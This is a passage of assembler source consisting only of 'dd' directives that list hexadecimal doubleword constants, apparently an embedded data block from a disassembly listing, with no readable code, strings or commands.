7F3FBA17h, 0E3A8BD50h dd 0AFBB5C00h, 765661F6h, 0ED503FA5h, 82209A30h, 9B052780h dd 0E62EE214h, 77A0BC00h, 0C2FD4Eh, 0E8372975h, 63150F54h dd 4AA54101h, 32E04B80h, 929E5160h, 0FD500054h, 0B29A1410h dd 9F135251h, 2201AF27h, 8255492Bh, 57E8FC4h, 0E7D538D9h dd 0EF7E82C4h, 3901F4A1h, 9B0024FAh, 28040B00h, 8346EACEh dd 6B4300B1h, 8E798BD0h, 3001F5Fh, 5B6DB6F6h, 1FA2C264h dd 0EEAA6E90h, 7A510E8Bh, 3721108Ch, 5AAF3A00h, 764CE77Ch dd 55008F4h, 1200AD67h, 659F7EFDh, 0EB3D00D2h, 31BEE6BDh dd 21007161h, 0DFDC2982h, 11C3898h, 0F8ED5258h, 88A27FB6h dd 425B018h, 0C1045B6Eh, 83ACC34Bh, 0E612BB58h, 9B0C8E5h dd 148E0E2Ah, 0B23761Ah, 312C7CDEh, 5800FE3Bh, 4F7315DFh dd 0F34D01D4h, 10E26DECh, 4C080CCh, 281864D7h, 0BF913AFCh dd 81A3799h, 20218FDBh, 0BD0F6029h, 25AE16Fh, 0B230C2F8h dd 6BE0CDF4h, 270324FCh, 0EE5C66E7h, 9EB8FB23h, 5B881CB8h dd 916F9835h, 0AF01980Dh, 54EC28AAh, 9131ED5Fh, 218296D1h dd 2AAF7F30h, 0AB1650E0h, 1DF27A05h, 0CC415E58h, 2AEA273h dd 966F1081h, 0FC687407h, 3600E9B1h, 850D982Dh, 0F4BEB49Eh dd 913A0064h, 0B030D91Ah, 1807739Dh, 0F0FDC123h, 807EF592h dd 43C8ADA9h, 80120087h, 0A40AA9B5h, 7F00DA6Ah, 0D270FB91h dd 0E58AFh, 73AE38D1h, 0AA1A2953h, 0E7477C00h, 82CC7A5Bh dd 24AC0549h, 0C0B99A92h, 44AD0450h, 7F032A76h, 575B9C43h dd 1C700061h, 4609750Bh dd 80CF2FB0h, 0A5C09D24h, 0DDFB9F04h, 0A269CE34h, 0AC382CE0h dd 85003E2Bh, 79FD5FEDh, 4E3CF3Bh, 2D37AFB7h, 0D1F280BBh dd 117B1EA7h, 9F008B70h, 0E395C89Bh, 30C5378h, 3B2D648Fh dd 22BB961Dh, 2EB3F900h, 0B81FE5BAh, 0A14F6077h, 72238F29h dd 115FCF00h, 0A0FA562Ch, 5A7300FBh, 0FCB92565h, 0D3EBD67h dd 0CB788219h, 957082D8h, 0B005504h, 1FD44E7Bh, 0F6370023h dd 0C2010D67h, 60077D9h, 10C6275Fh, 0F811DA8h, 2C65514Eh dd 0C980420Eh, 941ED401h, 1DAA5B01h, 0F4BE41D8h, 0EDA9C4h dd 0C6FDE909h, 0C735922Eh, 0BB36121Fh, 0F88EF1C0h, 7CE6F5EFh dd 381F004Eh, 3257C550h, 3C3BDC64h, 56510242h, 0B8D65A96h dd 48B18D5Ch, 3006407h, 0DF7E3ADEh, 0AB00FD55h, 5F290DCh dd 12481BF0h, 1EF8258Dh, 0F12206A8h, 6122287Fh, 0AD5702AAh dd 598D47FFh, 89F46F10h, 0E0E00865h, 4D50C81Ch, 1166DF43h dd 11AEC979h, 2111FF49h, 0EF413CFBh, 11287429h, 0F5113695h dd 589D11F7h, 1A8AB111h, 41292F98h, 2890E471h, 4FB58861h dd 0DD8C3408h, 444451F6h, 3CA01957h, 0B1886079h, 6D51C705h dd 55E0E010h, 0DB407D9Dh, 154A200Eh, 833CC550h, 40817A44h dd 6C1C7090h, 640A795h, 72C61CA3h, 68FE3C94h, 0D67D1Ch dd 0B105BBEBh, 90003F5Dh, 38341E50h, 0B8A3C141h, 4AF861h dd 0F791FB24h, 3CB21A04h, 0D2634B00h, 0F10C0986h, 24A501E5h dd 0C63F5102h, 5B2C08Ah, 0D46038h, 215E54B4h, 0F74E23h dd 53C116E5h, 3738A0Bh, 3C1F20EAh, 1400ACE1h, 7A187912h dd 85BA3D7Fh, 2419C2B3h, 0E61D20B7h, 75003B0Dh, 6038AE7Dh dd 35BA89h, 65E12319h, 6A616881h, 55293900h, 0F1DD7B9h dd 40D80E2Bh, 0EFA035BBh, 0A60ECD03h, 93ED8612h, 1CC0A304h dd 0AB5EBCC0h, 37C33D7Bh, 4A806338h, 2FAC0555h, 2BECAE79h dd 496D003h, 0D8237B76h, 71C518h, 0D5F4A79Eh, 2FCA4E0h dd 2CCFF800h, 0ECC45AFBh, 0B535001Fh, 321BFAF9h, 0B101EEA8h dd 0DA923083h, 17FC1A0Ch, 0CAB22029h, 9E494339h, 2283574Ch dd 0D1652A83h, 0E5C8641Ah, 4480085h, 0BFB00299h, 9800835Eh dd 0EC3E60B3h, 0EA940E13h, 0B8EDF80Ah, 187C6049h, 5C2A51D9h dd 5411CD2Ch, 21900100h, 0E6220DC4h, 53CB009Bh, 7C831AF9h dd 390002DBh, 506C373Ah, 0B82EAEh, 0BA868B08h, 45BCCB61h dd 247BDD30h, 0FE8EFA84h, 0BDDF0051h, 544F81EBh, 60E3CAEh dd 40D37D5Ah, 1B568019h, 0A99E0570h, 0C0F1DD96h, 51E6D4F7h dd 0FE25A0Ah, 9E009756h, 0C59618C6h, 56C0094h, 0B3EDE1AAh dd 2600DC8Eh, 988003F8h, 632D5h, 0AA352DCDh, 0EC8A39B9h dd 91CA1614h, 40B400A0h, 3DAC7AE8h, 3F5B7C06h, 80BC09F1h dd 0C4AD1007h, 0C55C9094h, 0C3E6E0DDh, 5E119C0Fh, 0C130315h dd 0A908C089h, 17C7BC9h, 9F5F4E95h, 708B5B48h, 7B00B20Ch dd 0C724CB8Ah, 0FC10188Eh, 0F4B901B6h, 730B8BC9h, 0B5DAF0BFh dd 0C185A600h, 0C39AEADEh, 0DB6A00FDh, 0A1F18163h, 20003497h dd 583A19C2h, 1E22AB87h, 3DE05Eh, 0B235A021h, 4700DD3Bh dd 0A2C0ADF8h, 1938934h, 27D1BDDAh, 0FC184B51h, 0DD00A00Fh dd 64B281CCh, 199EC6Fh, 5228548Ah, 0C85FC605h, 29FE205Bh dd 10D37C00h, 0F1DC6964h, 0EFE40E49h, 5A60E5ACh, 2030B1C9h dd 848C8A01h, 16746388h, 0B4C2CCh, 53D20251h, 96732339h dd 0D116E0E2h, 9EC061A8h, 0F8BA1Eh, 5154336Ch, 0E0C28CABh dd 0E29B4A00h, 0A1645C38h, 0DC981EA2h, 0C75BDEBCh, 7060F8BFh dd 81E3BBD1h, 0E5DECC00h, 0AE696195h, 2F321C5Ah, 44604F8Ch dd 91885B40h, 0A70297F5h, 0CA6C795Eh, 9809401Fh, 0C0E91FD8h dd 0A83D00C6h, 559CCBC2h, 6772FC0Ah, 0CF84DC6Ch, 5120319Eh dd 0EE015A37h, 0F8B766AEh, 89D4C4A5h, 180109E0h, 3A00CE02h dd 326F1EEEh, 8090F03Dh, 0B1CE33Ch, 840838h, 2DA33D3h dd 9C6E3579h, 64789501h, 0E9A25D14h, 738401F8h, 8EE0CEh dd 10658992h, 9007F7B7h, 0F51C0212h, 6EE501ABh, 800AA10Eh dd 37A76919h, 0A51C332h, 0A5239D36h, 58003D8Ch, 0BFF0E6ACh dd 9900A781h, 0F3FF19Fh, 0A0BC61C9h, 0DF5CD4h, 0A6D1BAF0h dd 7FE75795h, 0CB410605h, 0CB00C542h, 0D73804E6h, 0F8A6005Dh dd 395AF948h, 70021FEh, 8B79C930h, 7BF4E62h, 0D64A1AC2h dd 5FED70F8h, 5507D957h, 0DDE8CE6Dh, 83B95AA0h, 7033F09h dd 0DBA44F80h, 0C6519EC4h, 0B84C620Eh, 34B2C03Bh, 3C6AC082h dd 2E8067BAh, 4F24A1D7h, 4538CEB7h, 8F7E3E13h, 58E5FEh dd 23A3E91Ch, 57A1000Dh, 56F63C6Fh, 8F038E16h, 3B6172DCh dd 0D3CBE862h, 3D54E219h, 0A8807EB7h, 4F21767Fh, 2C001D66h dd 0BDC38DC5h, 0D0FDCEh, 0C84519F9h, 99813ED7h, 0C4019098h dd 46876F1Ah, 0E930FA9Dh, 247A03h, 948A5AA5h, 22D6D88Fh dd 0F327210Fh, 76F08062h, 0FC11CEh, 9D7D49FFh, 5B7CE52Dh dd 0A5665800h, 53CD6727h, 0EF651C68h, 0FE26C0C7h, 13591E95h dd 0D4AE1902h, 8317628Ch, 0E0D3A7F6h, 233AFCh, 0C9BFBEA3h dd 9B157BADh, 0AFA5CE00h, 0C3B59D53h, 7EED03F8h, 9F046EEBh dd 349C95E0h, 0E40B5700h, 0C6ECABF0h, 240C00D0h, 5E0F13D5h dd 25176D97h, 0C9001A39h, 7B7244C5h, 8D190091h, 693FA75Ch dd 2078F2D7h, 52D9A200h, 0A8E3C099h, 0F8F00777h, 575C5527h dd 0A6A9403Ch, 0F5005646h, 82A24744h, 0F75DE5Bh, 41EFAF23h dd 7A8177E0h, 0E800A737h, 0F95510FBh, 6F19D3Ch, 2352E374h dd 180089FEh, 0F01596EFh, 74E49A9h, 0B693FAE7h, 0E0AF8F05h dd 0B01CD507h, 218CC37Ch, 59382C7Ch, 655A00EDh, 0FABE3542h dd 97F2023Dh, 0CAD7BF0Eh, 0C392402Fh, 0F667A94h, 5815DDBBh dd 0CB3FFEDEh, 8500D9BCh, 0C21D1A84h, 0F7183E7Bh, 79ECE0D1h dd 32D407C6h, 479BE790h, 3AB031A5h, 85AEEC92h, 27007277h dd 0BAF79903h, 10BDF6h, 21F50597h, 3C6AC2C6h, 92681500h dd 0FD59324Fh, 8D5100A0h, 52103E39h, 4B3F9131h, 549A80CFh dd 0F0D102A5h, 308B0306h, 42B37B48h, 0FF97B6C0h, 9B1DB100h dd 0DDFDA1C7h, 299C006Ah, 0D0FA2579h, 6200A371h, 0EA357359h dd 7C5744CDh, 0DB650017h, 9DB43ED5h, 831E9510h, 0E24064E5h dd 13F80CBDh, 65AF0E5Ch, 0D9205F1Ch, 0CED1614Fh, 0C5C17503h dd 984011ADh, 1E522AEEh, 0C324FCD6h, 81E60FB8h, 0E40AD1D1h dd 10FF1A4h, 0CEC4FAh, 0AC63B5F6h, 662A3E3Fh, 0D3764303h dd 90DC4846h, 0FF264BE4h, 0B6B9900h, 618541AEh, 0EA6D005Ch dd 4860982Fh, 0E8E9FA72h, 7700CC08h, 0DA8DC29Ch, 44E75CFh dd 5D473EF7h, 0FCA98089h, 0A2600116h, 8EEB8211h, 0BDC70023h dd 0FD51DC6Dh, 5048EE71h, 0F8C80130h, 6A04586h, 3BCE5DD4h dd 0B53C8313h, 0D812EE00h, 6D144C26h, 7BDC3301h, 3D29DABCh dd 92808854h, 47221EBh, 0EF9E0702h, 29FC589h, 7383AD30h dd 0D91C7440h, 0E3006AFEh, 6022080Ah, 989C158Eh, 0F1820308h dd 8B2A9A89h, 6D4878F0h, 0B81FE972h, 7C40106Ah, 9D63E75Dh dd 0A1A7EE33h, 0A8E31489h, 6F9F35h, 87FC2F99h, 9AFF9D7Ah dd 0AD8C6E07h, 0A880FA74h, 0E343ABh, 6BD36C89h, 889ED295h dd 609A960Ah, 0E04F877h, 26808B53h, 3A54D41Ch, 0DF808424h dd 0BA8C4F2Dh, 7A09219Ah, 0A0614112h, 4E2BC28Ch, 681EC0Eh dd 212A02BEh, 0BA3AB062h, 293E308Eh, 0E03F88h, 5ACE0E84h dd 3157FCFAh, 1D6BC700h dd 0C32ACD8Fh, 99B300F5h, 597C73CEh, 0F07B16F4h, 507758h dd 8C6D87B0h, 0D92D5Eh, 0E11301DAh, 9F481D9Ah, 0B8142901h dd 253CE4BDh, 0FE2F4020h, 0B304008Ch, 0A91C6AF5h, 0ED054C40h dd 0D3D6E81h, 0CF3E6680h, 0A67D008Dh, 7923AB35h, 0A4008237h dd 0E2606821h, 2C3FEF5h, 0E666C7A3h, 4940C5E8h, 6203ADA6h dd 9FE5C608h, 5A291C38h, 5BD240BDh, 0A8889192h, 0D04920h dd 0E893D48Dh, 74382BEAh, 94349200h, 88F8760Eh, 124B74B9h dd 5C8504h, 6D2FEF57h, 47007A10h, 26A17206h, 173E3F4h dd 0D41B6AD1h, 60CE7543h, 9500CBE9h, 0E0F39B62h, 0E2D3B669h dd 15EB3C8Ah, 4CD534E2h, 0B0A890C0h, 3244EF07h, 6291F172h dd 29D83C7Eh, 16DF610h, 54B0F91Eh, 0F72ED060h, 0BA4BC0A4h dd 5C0109B5h, 0FBD2511Ch, 0B8204536h, 0C0DA0056h, 9D5EFE40h dd 18079272h, 43BE9730h, 0E7306427h, 0BBE0C6h, 9DFED4C4h dd 3D637B38h, 0C84FA000h, 67AF5443h, 0D78700A5h, 0B88AB207h dd 0DE00388Fh, 0EE31599Ch, 70B47Eh, 5A14B74h, 0FAA403C4h dd 0C09ABC01h, 441E2F3Eh, 592DF0h, 90AA23ECh, 0FA974E74h dd 0D09B4A00h, 3E54DDDEh, 0CA5B00E4h, 85D878E0h, 0BA01A53Bh dd 2EED3C01h, 22F403EEh, 509F0389h, 0EF82E5F1h, 13D038DBh dd 8E00EA23h, 2645D8BAh, 4E3211h, 3A91466Eh, 65FC259Ch dd 0CE24C5EAh, 820068FFh, 0D28C152Eh, 18E20045h, 93D13819h dd 2300BDE6h, 6B547D9Eh, 6F805Ch, 61D60B4Ch, 1A03A718h dd 0AFFF9C00h, 959F7166h, 0CB2600BCh, 77879EECh, 8CF620CCh dd 18003A75h, 5E3FE48Dh, 3DB7C4AFh, 5087A72Eh, 2032D578h dd 0A2BB3B7Bh, 4FF9B92Eh, 0D8341D00h, 124D4769h, 4023094Bh dd 0D480E6CCh, 7B000467h, 20C8947Eh, 70C72B5h, 292C75A3h dd 0A116C0A4h, 0D8E69258h, 1C6D1003h, 74DDC948h, 678604A0h dd 0C0D79E89h, 3F19B89Ch, 39E44C00h, 9F13F758h, 99F057h dd 553648EBh, 0ED0250B1h, 0D3D13200h, 55DC122h, 4FBE0F79h dd 3EC05456h, 9811A038h, 0A7534B00h, 5E619D47h, 95EE0078h dd 21CEF4Dh, 0AC0E65F4h, 475F37A4h, 0FEC06BFCh, 0BACD0Eh dd 2E95F6F1h, 0B4B5F57Bh, 76038473h, 26CEE530h, 204E0056h dd 2CC67036h, 0B49EA54h, 0CD0F0070h, 0A3F0E6F8h, 887E0183h dd 118E078Ch, 1802D8CCh, 0E91EC607h, 0B5A042E8h, 7AA430h dd 0E5505FF5h, 0A3A68CC9h, 0CE2A8900h, 332FB2C4h, 0A4E1E8Ah dd 0B7EA8AA8h, 0C230ABCh, 53250038h, 9B6BF0E1h, 4995B600h dd 69756643h, 42BB1CE4h, 31D2437Bh, 2F3F99Ah, 0C53E46C8h dd 0C38FCAC0h, 7D2C440h, 0A8C0B3B2h, 9452E130h, 33E8F4C9h dd 575AAE00h, 4F8CB57Ah, 5BD400E9h, 0FA31A3AFh, 47E68FC6h dd 66B0DCA8h, 2DCCC400h, 0F606B31Ah, 46C700AAh, 0FFDB30D6h dd 0F00EADC3h, 0ABC92Bh, 3180B483h, 12A2E80Dh, 0C053EAh dd 0CB42D534h, 88005BFEh, 700DEB6Dh, 30D3EA45h, 8186C51h dd 14135228h, 980FE7AFh, 32C61E87h, 884140h, 54AD676Ah dd 7B909216h, 86C3AA06h, 0A91770h, 7EF7E211h, 280930Dh dd 594A4500h, 34C7CCAFh, 762B00CDh, 0ADF53E08h, 9309E670h dd 3569BBh, 8853C616h, 32780026h, 1202CF92h, 2C007F4Fh dd 0CA98C835h, 18D04D66h, 4041FFFEh, 0F500166Ch, 0C0386080h dd 7B4EF8C2h, 0E28098A9h, 1E5200AEh, 2EF0B76Eh, 9002C38Eh dd 12AFBA76h, 0CEBCE0FAh, 111B0091h, 56A917F3h, 3A054FF7h dd 6BD204F9h, 1F02901Dh, 40D9D74Dh, 117E50h, 1DCCEF87h dd 0A4C7EC05h, 21C4F9CFh, 0C82CCBF9h, 7680F571h, 0F60C0F8Ch dd 0AB60E224h, 87BF58B0h, 84715C4Dh, 0B7553507h, 0C64EC07Eh dd 0E126F8DCh, 0EE001437h, 6CC19F63h, 0F98F033Dh, 0D292CFC5h dd 0A66DEF90h, 31009890h, 6B5264C1h, 0A04A56h, 6F2E5898h dd 0D88B221Fh, 0F6E4300h, 0C25CE2CEh, 0F0B22Ah, 7C0989DDh dd 0EE764F9Dh, 0CC50BDEAh, 31004BECh, 7DFD67B5h, 469E0Dh dd 7E15E4D2h, 0C83FBA69h, 0F55DAC03h, 0F8750739h, 6E592AEh dd 7AAD9B67h, 3A4C612Fh, 3A2526DAh, 36351500h, 13813B8Eh dd 1663F71h, 0F81EAF2Dh, 69C5259h, 0ADE20820h, 20C92EFh dd 0BA13BB4Bh, 56C09254h, 0E21D4223h, 48308BA3h, 358731h dd 759BCD24h, 7672C167h, 0F32F5FEAh, 0ECD450A6h, 6CC700AFh dd 864AFEB5h, 961C97B8h, 43C646A1h, 0F4D906h, 485ADF72h dd 3BB041Eh, 52A19500h, 60BDAE77h, 0B6573970h, 734B5A00h dd 0F6ACF1D7h, 0ECBE3300h, 55C078FEh, 0B4341E47h, 8C398023h dd 0F1016482h, 7D9191Ch, 8A7F040h, 0CECE721h, 7EE0496Bh dd 0D60389F6h, 281A90B7h, 3D300B29h, 0F18EDE20h, 7BEF7E01h dd 0E87FF82Eh, 16276300h, 840B2B5Bh, 0F12F0054h, 1EE669B1h dd 0EB0044BBh, 52A5935Ch, 15733Ah, 0F2FF619Fh, 8F895D2Bh dd 3B04ED4Ch, 91948CF0h, 49118Ch, 0A7A467F6h, 48D1E3BAh dd 2D0030E0h, 0E062F2D4h, 28EF4AE8h, 88A2E9h, 1DFFFC32h dd 56738928h, 60F5EB00h, 978F6AAFh, 2B61013Eh, 79338E70h dd 11B8E799h, 86123C1Eh, 10070FFCh, 40E2A787h, 0AC19E1B8h dd 0A5963080h, 0D443593Bh, 0E90A4F00h, 5DE275FCh, 5A2D0704h dd 0B01A36C0h, 41DBB47Ch, 11AF54Ch, 0B618AA99h, 5860962Ah dd 0DCE40EA9h, 0E587C547h, 832DF4F4h, 0C4A08D84h, 770F2AF6h dd 404F0508h, 0E86318D8h, 785101E3h, 20605E69h, 0A02288h dd 91638B43h, 0F72ACFh, 8381B452h, 51973DB9h, 8311B13Fh dd 8DC558F0h, 0C433E0BCh, 5F781340h, 0A38C0F6Ch, 0FC50DCC3h dd 24B5C7A8h, 5D03D096h, 0E0F6E861h, 49260763h, 5248C07Ah dd 0A3D10B78h, 0FC207F7Bh, 3AA90998h, 0AA2428F6h, 8E008415h dd 665BC862h, 472101C1h, 8F3360B1h, 833060ECh, 2609AE90h dd 6051BF07h, 49CB8h, 76449B6Dh, 66C47A20h, 87F6E602h dd 6181343Fh, 8E406AD4h, 0FA44B68h, 2E9740BAh, 939C5020h dd 91C0667Fh, 55A90BDEh, 0B17E098Bh, 0BCE04534h, 20704BECh dd 1C8AAD00h, 94B49A1Eh, 6BBD126Fh, 2EE400F2h, 60730D7Fh dd 356E6200h, 0E8E2E04Ah, 60B09680h, 5B193140h, 0E50B7300h dd 3CFA0569h, 1E6EF8BFh, 16676CDh, 0F06DA39Eh, 78BED429h dd 8FBAE209h, 12A4806Bh, 987C4EF7h, 6F0B1828h, 9FB9A160h dd 0B668A100h, 363CE4EDh, 42320746h, 0F003ECC6h, 1E238A87h dd 86FED139h, 0D9A6CFE6h, 9DC31211h, 21D10124h, 80B49BCAh dd 1F9F4F19h, 71007C2h, 0E2607643h, 3B535051h, 0C603C3DBh dd 49E1A48Dh, 5C209F03h, 0CF572h, 0FAF05595h, 5194C94Dh dd 1B801000h, 1AA2318Eh, 907401C5h, 0CD0916B1h, 5D84C473h dd 0B45F8A00h, 7DEEF8C3h, 23B20FE8h, 17479368h, 5237008Eh dd 0B805C33Dh, 0A763F178h, 0C23060D0h, 4AC89A41h, 0D9E80266h dd 8CA17F19h, 60D43B33h, 4378BBC3h, 76C07D00h, 25480392h dd 388838C5h, 9B741389h, 0FBC69301h, 4B7DC8A3h, 65031A1Ch dd 3ADE9Ch, 43DF6FFFh, 13F98C2h, 36E0EE20h, 0D814DD19h dd 0E6000D03h, 3B730737h, 12C9BC91h, 93650Fh, 131D2C2Ch dd 420E63A4h, 0E385FA21h, 0C0908114h, 0FC5CFBh, 78EADD1Eh dd 0EB29B973h, 1438BCB0h, 0BEBE28h, 5B23FB4h, 1675D55h dd 0A973AABFh, 0C5D69688h, 9BC20F3h, 11006472h, 0F20EC394h dd 731D9FA0h, 0C12F0FACh, 6687E1D7h, 0E4EA105Dh, 0F0B83FB7h dd 32F49D00h, 0B4878B54h dd 7830F570h, 0FF6F0065h, 1CB04378h, 0E9005399h, 6D147B05h dd 0F069FAE7h, 0B6EC54h, 8A4BE47Ah, 0A5647EA9h, 5303F698h dd 0A103595h, 0B3AB898h, 17030023h, 455EC588h, 0F80591A2h dd 0B535EBC7h, 933CF080h, 0F3510163h, 0D52943AAh, 0C17EE0E3h dd 4855D203h, 0D36CEECBh, 0BC28E0C8h, 42BE0E9Bh, 33A0D8EAh dd 626FA4B9h, 0CC05940Eh, 0E6D1C2D6h, 0C690818Fh, 42CE365h dd 0EECA5B00h, 0BEB363C5h, 0A8063301h, 7BD32636h, 7A160h dd 628077D9h, 47678909h, 9B467C00h, 9CFB7021h, 405C0B06h dd 1B000F39h, 675AA5A0h, 0E7E61C00h, 7DD3AC44h, 0F111E9Dh dd 85DC873Dh, 3B87800Bh, 0B3005A6Fh, 0FC157088h, 0EEB1DAB7h dd 58310081h, 1C1990DBh, 0C50017C3h, 82294B8Ah, 1DADBBh dd 4341272Ch, 685C0C88h, 38DF6201h, 467720A8h, 9DFAE4h dd 9984A510h, 0AFC14BBCh, 0C9BD4E00h, 0AE78BF7h, 0E4B61C44h dd 488A40F1h, 0A029033Bh, 0CB5B9700h, 0D6783746h, 0C8E0A08h dd 3F4791Dh, 7E0796FCh, 985B50D0h, 0E10BA51Eh, 0E827D4A8h dd 47EC8F51h, 8CC72B85h, 0C0AC42C3h, 0B8B70D8Fh, 0B4473B3Ch dd 7445B9Eh, 5F34812Fh, 18278E0h, 61008640h, 0AE885E1h dd 0A090BD3Dh, 44B5D2D4h, 5E01393Fh, 3F410C8h, 0D820CE33h dd 0F57E27Fh, 0B6F14609h, 60B0848Ah, 1E0593AEh, 965BD2C0h dd 758074A0h, 0F5CE0120h, 24F8DB3Ah, 0A7A2E47Dh, 43C80200h dd 44A94F0Fh, 4280964Ch, 1B004D15h, 9A80Bh, 46268BD8h dd 3C789DC4h, 7A51900h, 22E4B047h, 1EE503E1h, 73F995E9h dd 0C6247AF0h, 0F0708F17h, 3F0AF840h, 2AE54Fh, 0CC133559h dd 31EC4C4Bh, 6A862000h, 6460A690h, 7FABFC5Fh, 7F9100F3h dd 9D468FDCh, 0BC1C1CEFh, 7400E9CFh, 0A97C0F7h, 47B1004Eh dd 19B03D56h, 9000F160h, 91728D10h, 7574F38h, 0CC76480Bh dd 948E61B8h, 1E807E29h, 1E69434Ch, 752BD5h, 54C2DB9Eh dd 0ED0009FBh, 72F74EC9h, 9B28FEh, 0AEC31D86h, 0A42657ACh dd 5137B300h, 0BF54FC1Ch, 302F1C7Fh, 759E001Dh, 6FE1C443h dd 6276DB7Bh, 4810B209h, 7F74C165h, 12AC864h, 0C3F11483h dd 207CBE09h, 2C037794h, 6653BD06h, 53788A5h, 0E0E20117h dd 93C40882h, 9E9EE5C7h, 72CFCC48h, 40E26581h, 73F3C400h dd 0F5F0EEh, 0FE9B7C1Ah, 0D058553Ch, 18934B26h, 0C2BB2C0Bh dd 1F4360C8h, 3E280012h, 219F86FFh, 3C9091F7h, 2037362Fh dd 84D45D2Ch, 29230146h, 2C2EDF07h, 0F0C8E62Fh, 0B2005EB8h dd 1F02F82Dh, 7F51549h, 0D02A4166h, 422010B0h, 0A90F4B8Dh dd 0E47E08D9h, 60B009D8h, 1CB80Bh, 0FB584F03h, 677A5C45h dd 9E51EF09h, 397005D7h, 0B8CA00FFh, 0AA49C11Dh, 82382709h dd 0D5D80048h, 350F167h, 0FD013123h, 7E887C8Ch, 6D009944h dd 0F79327F2h, 25A46E3h, 3387E66Ah, 78707A7Bh, 80D0413Dh dd 5B1B44Ah, 3136254Bh, 2248F357h, 1FACF032h, 93B76414h dd 1B0171D6h, 5A6A9AB0h, 0D6D81059h, 91E7ED5h, 0C2AD1728h dd 0E1508801h, 0D6B700A2h, 74430076h, 1826C332h, 0E7E87C9Dh dd 8DA9BC1Fh, 0C9D3BA80h, 1AD5B84h, 0DFBE4C5h, 0F79485B2h dd 0C4596EC0h, 53CA848h, 4D96A99Ah, 0B29B20C0h, 0BEE70F8Ah dd 1C20191Ah, 27D09857h, 0D55A3700h, 0B57EB88Fh, 974B0774h dd 0A42CAB1Fh, 83B3C09Ch, 7900C32Dh, 7F3B009h, 0A0228525h dd 56BA5E4h, 0C8C5FAAFh, 80518419h, 964359D8h, 0DE3C3800h dd 6585023h, 0EABD0711h, 4019EDF0h, 0C8F62D9Fh, 0D200577Bh dd 0F5A121B0h, 4A13EEh, 0AEB5935Ah, 0CEC39B47h, 0F202673Ch dd 0B828C09h, 6E130FCCh, 1736CED8h, 8F1AB400h, 23C8E6h dd 31DC6D6h, 0F53A7478h, 6F001E7Bh, 84EBD47Fh, 0F2AD236h dd 485FB146h, 6BEC00B2h, 401058F2h, 2D076677h, 1179FDA0h dd 1A92002Fh, 3EAE9862h, 0A200F12Bh, 6C9A52FFh, 99002C37h dd 0A343DC87h, 22EF065h, 702688C2h, 0D4009891h, 12892C7Ch dd 0B12B9A36h, 0B6F3CC38h, 0F98BF400h, 71083DE8h, 0F84F0E7h dd 0C6D2469Bh, 3F0F26E0h, 7B30B989h, 0B51E38E9h, 64241D4Ch dd 731E6A7h, 80A63391h, 0D4772674h, 4984DE0h, 79A94817h dd 38C3BC40h, 77FB34Ah, 6ECDEC68h, 0A567E0EDh, 0A177F77Dh dd 0EE224C00h, 0CDF2D226h, 0CA650546h, 0C17290A7h, 0D43CA5D4h dd 0A42C5C78h, 0CC00F8E1h, 0AD6A8B64h, 532100A3h, 0D975B84Fh dd 0DC009B2Bh, 6D84871Ch, 5D46266h, 14449131h, 0A7857Ah dd 2EC480DCh, 0F70F58B0h, 0E039860Ch, 0F684BD20h, 8F880316h dd 0ADB20942h, 0E0CCE5E1h, 0BF0008EAh, 0CDE1C7FDh, 0F815F838h dd 62D80299h, 0A412857Bh, 236A3C60h, 0E020FA4Ah, 3F99C8AFh dd 8401F8B0h, 0B787B0Eh, 0DC8040A6h, 5000B716h, 0F1949275h dd 5BB54Bh, 0E94FA9AFh, 7CFE79D2h, 0C1118A60h, 2522838h dd 0DD9E9F24h, 827DEA46h, 40726970h, 3E1DA420h, 3FBCC623h dd 44895DA7h, 58F7C500h, 0F90F2FE5h, 80D1F0E6h, 79342841h dd 81520ED9h, 462098A6h, 99F3661Fh, 9487C328h, 32B33800h dd 3A9A6430h, 0DD9B0003h, 7A404136h, 0D094A70Ch, 80007F13h dd 376D3313h, 0A91C1C8Fh, 0BF424773h, 0CF01C2B3h, 0AF00E858h dd 0F8D1E1EAh, 88184Ch, 623D673Fh, 0D566432Bh, 0EB3961F0h dd 0CF2D0108h, 9470DC47h, 3C8D434h, 0F867222Eh, 7800FC0Fh dd 717F14D5h, 7150C947h, 44FF0089h, 8C3EF5C8h, 0BAFE1227h dd 33041400h, 0E034B883h, 0B09B0A8h, 1A477C41h, 37665401h dd 0FCE105Fh, 5B9D0131h, 3C3F51Dh, 0EB96402Eh, 9505A667h dd 0BB26057Fh, 0AED8B4h, 0C35B0E91h, 13D9A498h, 828760Fh dd 5A70C39Ch, 1E49719Bh, 0C0148EEEh, 924B1C4Ch, 0B10F02FCh dd 1DAC7616h, 0BF617140h, 7FB5DBA3h, 27FD0029h, 4878D19Dh dd 8D12994Fh, 0F40338CBh, 90ACEDE5h, 1F0ABC47h, 40A571F4h dd 0C4B5760Bh, 2F0037CEh, 4BAFB722h, 5C5C6A84h, 1F78032Ah dd 817C4A42h, 3DB9C70Ch, 0A083476Fh, 94BBE35Bh, 0E6095DECh dd 1972A50h, 0BD7B180Ch, 0A0C8E4FCh, 4C3B4CE4h, 0A52472DBh dd 0C26200C4h, 43A38E73h, 24CC2926h, 0FE515F06h, 9881B041h dd 4830C4D1h, 903C8101h, 0BB82F40Ch, 0BF765300h, 42C4C98Bh dd 193A001Ah, 547A58E8h, 551385F7h, 5B00D844h, 682B797Fh dd 0BDB73B6Ah, 54D60381h, 0F918C924h, 3360800Dh, 9D20EA3Bh dd 63D00F8h, 2ED8D3D9h, 680317D2h, 0CEF7902Fh, 36390065h dd 0B1550F69h, 0AA12376Fh, 18901F3Bh, 170EBD2h, 0FC0895DEh dd 3066F30Ah, 50B8E68h, 39A9CCh, 0CEC5334Eh, 0A6D813B1h dd 0AE40030Dh, 27E0378Dh, 21C3BD07h, 0C82025B9h, 9C4DE94h dd 0F2D921D1h, 9BFDC82h, 87084878h, 8036ABB4h, 33B140E9h dd 0F648BE59h, 0EC670C7Ch, 312422h, 0FFFE8996h, 8C5223A8h dd 9115400h, 0B8F2DCE8h, 0B31F2E6Ah, 5FB989CCh, 3C5800A0h dd 9F03097Fh, 19598F94h, 9D180050h, 0B8C5D708h, 760EBFE3h dd 0C0C33D21h, 0C8759B68h, 43212C6h, 848E01A7h, 3C6FB5EDh dd 0FB8612F8h, 0D1D10482h, 2C7A091Ch, 0A70708A1h, 0E844C680h dd 90B16527h, 189EFAE0h, 0A1F5A6A8h, 0B00558Fh, 0A95A10F2h dd 151FE0h, 877EB19Ch, 3F597F1Bh, 0CD00BC94h, 47CA73F7h dd 0E19000E7h, 1F0E1115h, 9F59E59Eh, 9778006Ch, 1CB81953h dd 0E69B0088h, 0C2894946h, 0BD008F6Fh, 3AA32DADh, 79E7B085h dd 